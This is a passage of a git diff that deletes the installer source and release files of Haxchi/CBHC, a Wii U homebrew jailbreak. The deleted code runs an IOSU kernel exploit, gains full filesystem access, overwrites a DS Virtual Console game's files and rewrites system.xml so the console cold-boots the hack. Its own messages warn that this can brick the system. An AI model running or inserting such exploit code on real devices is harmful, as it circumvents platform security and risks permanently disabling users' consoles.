-#ifdef CB - int action = 0; -#endif - const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX]; - for(j = 0; j < 2; j++) - { - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - printhdr_noflip(); - println_noflip(2,"You have selected the following game:"); - println_noflip(3,SelectedGame->name); -#ifdef CB - println_noflip(4,"Press A to install CBHC, B to remove coldboothax, HOME to Exit."); - println_noflip(5,"WARNING, INSTALLING CBHC CAN POTENTIALLY BRICK YOUR SYSTEM!"); - println_noflip(6,"NEVER UNINSTALL OR MOVE THE SELECTED GAME OR YOUR WIIU IS DEAD!"); -#else - println_noflip(4,"This will install Haxchi. To remove it you have to delete and"); - println_noflip(5,"re-install the game. If you are sure press A, else press HOME."); -#endif - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - usleep(25000); - } - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - //user aborted - if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) - { - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - //lets go! - if(vpad.btns_d & VPAD_BUTTON_A) - break; -#ifdef CB - if(vpad.btns_d & VPAD_BUTTON_B) - { - action = 1; - break; - } -#endif - } - -#ifdef CB - //grab this before doing iosu exploit - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); - unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0); - char sysmenuId[20]; - memset(sysmenuId, 0, 20); - sprintf(sysmenuId, "%08x%08x", (u32)((sysmenuIdUll>>32)&0xFFFFFFFF),(u32)(sysmenuIdUll&0xFFFFFFFF)); - char new_title_id[20]; - memset(new_title_id, 0, 20); - sprintf(new_title_id, "00050000%08x", SelectedGame->tid); - int line = 7; -#else - int line = 6; -#endif - - int fsaFd = -1; - int sdMounted = 0; - int sdFd = -1, mlcFd = -1, slcFd = -1; - - //open up iosuhax - int res = IOSUHAX_Open(NULL); - if(res < 0) - res = MCPHookOpen(); - if(res < 0) - { - println(line++,"Doing IOSU Exploit..."); - *(volatile unsigned int*)0xF5E70000 = wupserver_bin_len; - memcpy((void*)0xF5E70020, &wupserver_bin, wupserver_bin_len); - DCStoreRange((void*)0xF5E70000, wupserver_bin_len + 0x40); - IOSUExploit(); - //done with iosu exploit, take over mcp - if(MCPHookOpen() < 0) - { - println(line++,"MCP hook could not be opened!"); - goto prgEnd; - } - } - - //mount with full permissions - fsaFd = IOSUHAX_FSA_Open(); - if(fsaFd < 0) - { - println(line++,"FSA could not be opened!"); - goto prgEnd; - } -#ifdef CB - if(action == 1) - { - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); - //verify title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(new_title_id, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - xmlFreeDoc(doc); - MEMBucket_free(sysXmlBuf); - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to selected DS VC!"); - else - { - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "syshax.xml", "utf-8", 0); - //verify title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - xmlFreeDoc(doc); - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Restoring system.xml..."); - fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - println(line++,"Removed coldboothax!"); - } - } - MEMBucket_free(sysXmlBuf); - } - else - println(line++,"syshax.xml backup not found, aborting!"); - } - } - goto prgEnd; - } -#endif - int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0); - if(ret < 0) - { - println(line++,"Failed to mount SD!"); - goto prgEnd; - } - else - sdMounted = 1; - char path[256]; - sprintf(path,"%s/content/0010/rom.zip",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) < 0) - { - println(line++,"No already existing rom.zip found in the game!"); - println(line++,"Make sure to re-install your DS title and try again."); - goto prgEnd; - } - else - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing rom.zip..."); - fsa_write(fsaFd, mlcFd, SelectedGame->romPtr, SelectedGame->romSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - - char sdHaxchiPath[256]; -#ifdef CB - sprintf(sdHaxchiPath,"%s/cbhc",sdCardVolPath); -#else - sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath); -#endif - char sdPath[256]; - -#ifndef CB - sprintf(sdPath,"%s/config.txt",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t cfgSize = stats.size; - uint8_t *cfgBuf = MEMBucket_alloc(cfgSize,4); - fsa_read(fsaFd, sdFd, cfgBuf, cfgSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/content/config.txt",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing config.txt..."); - fsa_write(fsaFd, mlcFd, cfgBuf, cfgSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - //make it readable by game - IOSUHAX_FSA_ChangeMode(fsaFd, path, 0x644); - } - MEMBucket_free(cfgBuf); - } -#endif - - sprintf(sdPath,"%s/title.txt",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t titleSize = stats.size; - xmlChar *titleBuf = MEMBucket_alloc(titleSize+1,4); - memset(titleBuf, 0, titleSize+1); - fsa_read(fsaFd, sdFd, titleBuf, titleSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - sprintf(path,"%s/meta/meta.xml",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) >= 0) - { - IOSUHAX_FSA_StatFile(fsaFd, mlcFd, &stats); - size_t metaSize = stats.size; - char *metaBuf = MEMBucket_alloc(metaSize,4); - fsa_read(fsaFd, mlcFd, metaBuf, metaSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - //parse doc - xmlDocPtr doc = xmlReadMemory(metaBuf, metaSize, "meta.xml", "utf-8", 0); - //change title - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "longname_", 9) == 0 || memcmp(cur_node->name, "shortname_", 10) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - xmlNodeSetContent(cur_node, titleBuf); - } - } - } - //back to xml - xmlChar *newXml = NULL; - int newSize = 0; - xmlSaveNoEmptyTags = 1; //keeps original style - xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); - xmlFreeDoc(doc); - if(newXml != NULL && newSize > 0) - { - //libxml2 adds in extra \n at the end - if(newXml[newSize-1] == '\n' && metaBuf[metaSize-1] != '\n') - { - newXml[newSize-1] = '\0'; - newSize--; - } - //write back to nand - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Changing game title..."); - //UTF-8 BOM - char bom[3] = { 0xEF, 0xBB, 0xBF }; - if(memcmp(newXml, bom, 3) != 0 && memcmp(metaBuf, bom, 3) == 0) - fsa_write(fsaFd, mlcFd, bom, 0x03); - fsa_write(fsaFd, mlcFd, newXml, newSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - free(newXml); - } - MEMBucket_free(metaBuf); - } - MEMBucket_free(titleBuf); - } - - sprintf(sdPath,"%s/bootDrcTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootDrcTexSize = stats.size; - uint8_t *bootDrcTex = MEMBucket_alloc(bootDrcTexSize,4); - fsa_read(fsaFd, sdFd, bootDrcTex, bootDrcTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootDrcTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootDrcTex.tga..."); - fsa_write(fsaFd, mlcFd, bootDrcTex, bootDrcTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootDrcTex); - } - - sprintf(sdPath,"%s/bootTvTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootTvTexSize = stats.size; - uint8_t *bootTvTex = MEMBucket_alloc(bootTvTexSize,4); - fsa_read(fsaFd, sdFd, bootTvTex, bootTvTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootTvTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootTvTex.tga..."); - fsa_write(fsaFd, mlcFd, bootTvTex, bootTvTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootTvTex); - } - - sprintf(sdPath,"%s/iconTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t iconTexSize = stats.size; - uint8_t *iconTex = MEMBucket_alloc(iconTexSize,4); - fsa_read(fsaFd, sdFd, iconTex, iconTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/iconTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing iconTex.tga..."); - fsa_write(fsaFd, mlcFd, iconTex, iconTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(iconTex); - } - - sprintf(sdPath,"%s/bootSound.btsnd",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootSoundSize = stats.size; - uint8_t *bootSound = MEMBucket_alloc(bootSoundSize,4); - fsa_read(fsaFd, sdFd, bootSound, bootSoundSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootSound.btsnd",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootSound.btsnd..."); - fsa_write(fsaFd, mlcFd, bootSound, bootSoundSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootSound); - } - -#ifdef CB - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); - //change default title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - int xmlBackedUp = 0; - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) < 0) - { - //write syshax.xml - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Writing syshax.xml..."); - fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - xmlBackedUp = 1; - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - } - else - { - println(line++,"syshax.xml already found, skipping..."); - xmlBackedUp = 1; - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - if(xmlBackedUp == 0) - println(line++,"Failed to back up system.xml!"); - else - { - idFound = 0, idCorrect = 0; - root_element = xmlDocGetRootElement(doc); - cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) - { - xmlNodeSetContent(cur_node, (xmlChar*)new_title_id); - idCorrect++; - } - idFound++; - } - } - } - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - //back to xml - xmlChar *newXml = NULL; - int newSize = 0; - xmlSaveNoEmptyTags = 0; //yep, different from meta.xml style - xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); - xmlFreeDoc(doc); - if(newXml != NULL && newSize > 0) - { - //libxml2 adds in extra \n at the end - if(newXml[newSize-1] == '\n' && sysXmlBuf[sysXmlSize-1] != '\n') - { - newXml[newSize-1] = '\0'; - newSize--; - } - //write back to nand - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Writing system.xml..."); - //UTF-8 BOM - char bom[3] = { 0xEF, 0xBB, 0xBF }; - if(memcmp(newXml, bom, 3) != 0 && memcmp(sysXmlBuf, bom, 3) == 0) - fsa_write(fsaFd, slcFd, bom, 0x03); - fsa_write(fsaFd, slcFd, newXml, newSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - free(newXml); - } - } - } - } - MEMBucket_free(sysXmlBuf); - } - println(line++,"Done installing CBHC!"); -#else - println(line++,"Done installing Haxchi!"); -#endif - -prgEnd: - if(tList) //cant be in MEMBucket - free(tList); - if(gAvail) - MEMBucket_free(gAvail); - //close down everything fsa related - if(fsaFd >= 0) - { - if(slcFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - if(mlcFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - if(sdFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - if(sdMounted) - IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2); - if(mcp_hook_fd >= 0) - { - if(IOSUHAX_FSA_FlushVolume(fsaFd, "/vol/storage_mlc01") == 0) - println(line++, "Flushed NAND Cache!"); - } - IOSUHAX_FSA_Close(fsaFd); - } - //close out iosuhax - if(mcp_hook_fd >= 0) - MCPHookClose(); - else - IOSUHAX_Close(); - sleep(5); - //will do IOSU reboot - OSForceFullRelaunch(); - SYSLaunchMenu(); - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_RELAUNCH_ON_LOAD; -} diff --git a/installer/src/main.h b/installer/src/main.h deleted file mode 100644 index 0ee1b7b..0000000 --- a/installer/src/main.h +++ /dev/null @@ -1,20 +0,0 @@ -//Main.h -#ifndef _MAIN_H_ -#define _MAIN_H_ - -#include "common/types.h" -#include "dynamic_libs/os_functions.h" - -/* Main */ -#ifdef __cplusplus -extern "C" { -#endif - -//! C wrapper for our C++ functions -int Menu_Main(void); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/system/memory.c b/installer/src/system/memory.c deleted file mode 100644 index 91f5392..0000000 --- a/installer/src/system/memory.c +++ /dev/null @@ -1,198 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "dynamic_libs/os_functions.h" -#include "common/common.h" -#include "memory.h" - -#define MEMORY_ARENA_1 0 -#define MEMORY_ARENA_2 1 -#define MEMORY_ARENA_3 2 -#define MEMORY_ARENA_4 3 -#define MEMORY_ARENA_5 4 -#define MEMORY_ARENA_6 5 -#define MEMORY_ARENA_7 6 -#define MEMORY_ARENA_8 7 -#define MEMORY_ARENA_FG_BUCKET 8 - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//! This is the only place where those are needed so lets keep them more or less private -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern unsigned int * pMEMAllocFromDefaultHeapEx; -extern unsigned int * pMEMAllocFromDefaultHeap; -extern unsigned int * pMEMFreeToDefaultHeap; - -extern int (* MEMGetBaseHeapHandle)(int mem_arena); -extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); -extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); -extern void (* MEMFreeToFrmHeap)(int heap, int mode); -extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); -extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); -extern void *(* MEMDestroyExpHeap)(int heap); -extern void (* MEMFreeToExpHeap)(int heap, void* ptr); - -static int mem1_heap = -1; -static int bucket_heap = -1; - -void memoryInitialize(void) -{ - int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); - unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); - void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); - if(mem1_memory) - mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); - - int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); - unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); - void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); - if(bucket_memory) - bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); -} - -void memoryRelease(void) -{ - MEMDestroyExpHeap(mem1_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); - mem1_heap = -1; - - MEMDestroyExpHeap(bucket_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); - bucket_heap = -1; -} - -//!------------------------------------------------------------------------------------------- -//! wraps -//!------------------------------------------------------------------------------------------- -void *__wrap_malloc(size_t size) -{ - // pointer to a function resolve - return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); -} - -void *__wrap_memalign(size_t align, size_t size) -{ - if (align < 4) - align = 4; - - // pointer to a function resolve - return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); -} - -void __wrap_free(void *p) -{ - // pointer to a function resolve - if(p != 0) - ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); -} - -void *__wrap_calloc(size_t n, size_t size) -{ - void *p = __wrap_malloc(n * size); - if (p != 0) { - memset(p, 0, n * size); - } - return p; -} - -size_t __wrap_malloc_usable_size(void *p) -{ - //! TODO: this is totally wrong and needs to be addressed - return 0x7FFFFFFF; -} - -void *__wrap_realloc(void *p, size_t size) -{ - void *new_ptr = __wrap_malloc(size); - if (new_ptr != 0) - { - memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); - __wrap_free(p); - } - return new_ptr; -} - -//!------------------------------------------------------------------------------------------- -//! reent versions -//!------------------------------------------------------------------------------------------- -void *__wrap__malloc_r(struct _reent *r, size_t size) -{ - return __wrap_malloc(size); -} - -void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) -{ - return __wrap_calloc(n, size); -} - -void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) -{ - return __wrap_memalign(align, size); -} - -void __wrap__free_r(struct _reent *r, void *p) -{ - __wrap_free(p); -} - -size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) -{ - return __wrap_malloc_usable_size(p); -} - -void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) -{ - return __wrap_realloc(p, size); -} - -//!------------------------------------------------------------------------------------------- -//! some wrappers -//!------------------------------------------------------------------------------------------- -void * MEM2_alloc(unsigned int size, unsigned int align) -{ - return __wrap_memalign(align, size); -} - -void MEM2_free(void *ptr) -{ - __wrap_free(ptr); -} - -void * MEM1_alloc(unsigned int size, unsigned int align) -{ - if (align < 4) - align = 4; - return MEMAllocFromExpHeapEx(mem1_heap, size, align); -} - -void MEM1_free(void *ptr) -{ - MEMFreeToExpHeap(mem1_heap, ptr); -} - -void * MEMBucket_alloc(unsigned int size, unsigned int align) -{ - if (align < 4) - align = 4; - return MEMAllocFromExpHeapEx(bucket_heap, size, align); -} - -void MEMBucket_free(void *ptr) -{ - MEMFreeToExpHeap(bucket_heap, ptr); -} diff --git a/installer/src/system/memory.h b/installer/src/system/memory.h deleted file mode 100644 index 59764d0..0000000 --- a/installer/src/system/memory.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __MEMORY_H_ -#define __MEMORY_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -void memoryInitialize(void); -void memoryRelease(void); - -void * MEM2_alloc(unsigned int size, unsigned int align); -void MEM2_free(void *ptr); - -void * MEM1_alloc(unsigned int size, unsigned int align); -void MEM1_free(void *ptr); - -void * MEMBucket_alloc(unsigned int size, unsigned int align); -void MEMBucket_free(void *ptr); - -#ifdef __cplusplus -} -#endif - -#endif // __MEMORY_H_ diff --git a/installer/src/zipList.h b/installer/src/zipList.h deleted file mode 100644 index 1bdd54e..0000000 --- a/installer/src/zipList.h +++ /dev/null @@ -1,29 +0,0 @@ - -#ifndef _ZIPLIST_H_ -#define _ZIPLIST_H_ - -extern u8 animalcrossing_zip[]; extern u32 animalcrossing_zip_size; -extern u8 bigbrainacademy_zip[]; extern u32 bigbrainacademy_zip_size; -extern u8 brainage_zip[]; extern u32 brainage_zip_size; -extern u8 dkjclimber_zip[]; extern u32 dkjclimber_zip_size; -extern u8 explorersofsky_zip[]; extern u32 explorersofsky_zip_size; -extern u8 guardiansigns_zip[]; extern u32 guardiansigns_zip_size; -extern u8 kirby_zip[]; extern u32 kirby_zip_size; -extern u8 kirbycanvascurse_zip[]; extern u32 kirbycanvascurse_zip_size; -extern u8 kirbymassattack_zip[]; extern u32 kirbymassattack_zip_size; -extern u8 mariokartds_zip[]; extern u32 mariokartds_zip_size; -extern u8 masterofdisguise_zip[]; extern u32 masterofdisguise_zip_size; -extern u8 newsmb_zip[]; extern u32 newsmb_zip_size; -extern u8 newsmb_eur_zip[]; extern u32 newsmb_eur_zip_size; -extern u8 partnersintime_zip[]; extern u32 partnersintime_zip_size; -extern u8 pokemonranger_zip[]; extern u32 pokemonranger_zip_size; -extern u8 shadowsofalmia_zip[]; extern u32 shadowsofalmia_zip_size; -extern u8 sfcommand_zip[]; extern u32 sfcommand_zip_size; -extern u8 sm64ds_zip[]; extern u32 sm64ds_zip_size; -extern u8 wwtouched_zip[]; extern u32 wwtouched_zip_size; -extern u8 yoshids_zip[]; extern u32 yoshids_zip_size; -extern u8 yoshitouchandgo_zip[]; extern u32 yoshitouchandgo_zip_size; -extern u8 zeldaph_zip[]; extern u32 zeldaph_zip_size; -extern u8 zeldast_zip[]; extern u32 zeldast_zip_size; - -#endif diff --git a/release/cbhc/bootDrcTex.tga b/release/cbhc/bootDrcTex.tga deleted file mode 100644 index e165f2e..0000000 Binary files a/release/cbhc/bootDrcTex.tga and /dev/null differ diff --git a/release/cbhc/bootTvTex.tga b/release/cbhc/bootTvTex.tga deleted file mode 100644 index 510792b..0000000 Binary files a/release/cbhc/bootTvTex.tga and /dev/null differ diff --git a/release/cbhc/iconTex.tga b/release/cbhc/iconTex.tga deleted file mode 100644 index f2ce2b7..0000000 Binary files a/release/cbhc/iconTex.tga and /dev/null differ diff --git a/release/cbhc/title.txt b/release/cbhc/title.txt deleted file mode 100644 index 5ddf13d..0000000 --- a/release/cbhc/title.txt +++ /dev/null @@ -1 +0,0 @@ -DONT TOUCH ME \ No newline at end of file diff --git a/release/haxchi/bootDrcTex.tga b/release/haxchi/bootDrcTex.tga deleted file mode 100644 index e165f2e..0000000 Binary files a/release/haxchi/bootDrcTex.tga and /dev/null differ diff --git a/release/haxchi/bootTvTex.tga b/release/haxchi/bootTvTex.tga deleted file mode 100644 index 510792b..0000000 Binary files a/release/haxchi/bootTvTex.tga and /dev/null differ diff --git a/release/haxchi/config.txt b/release/haxchi/config.txt deleted file mode 100644 index c529f89..0000000 --- a/release/haxchi/config.txt +++ /dev/null @@ -1,3 +0,0 @@ -a=fw.img -b=sysmenu -default=wiiu/apps/homebrew_launcher/homebrew_launcher.elf \ No newline at end of file diff --git a/release/haxchi/iconTex.tga 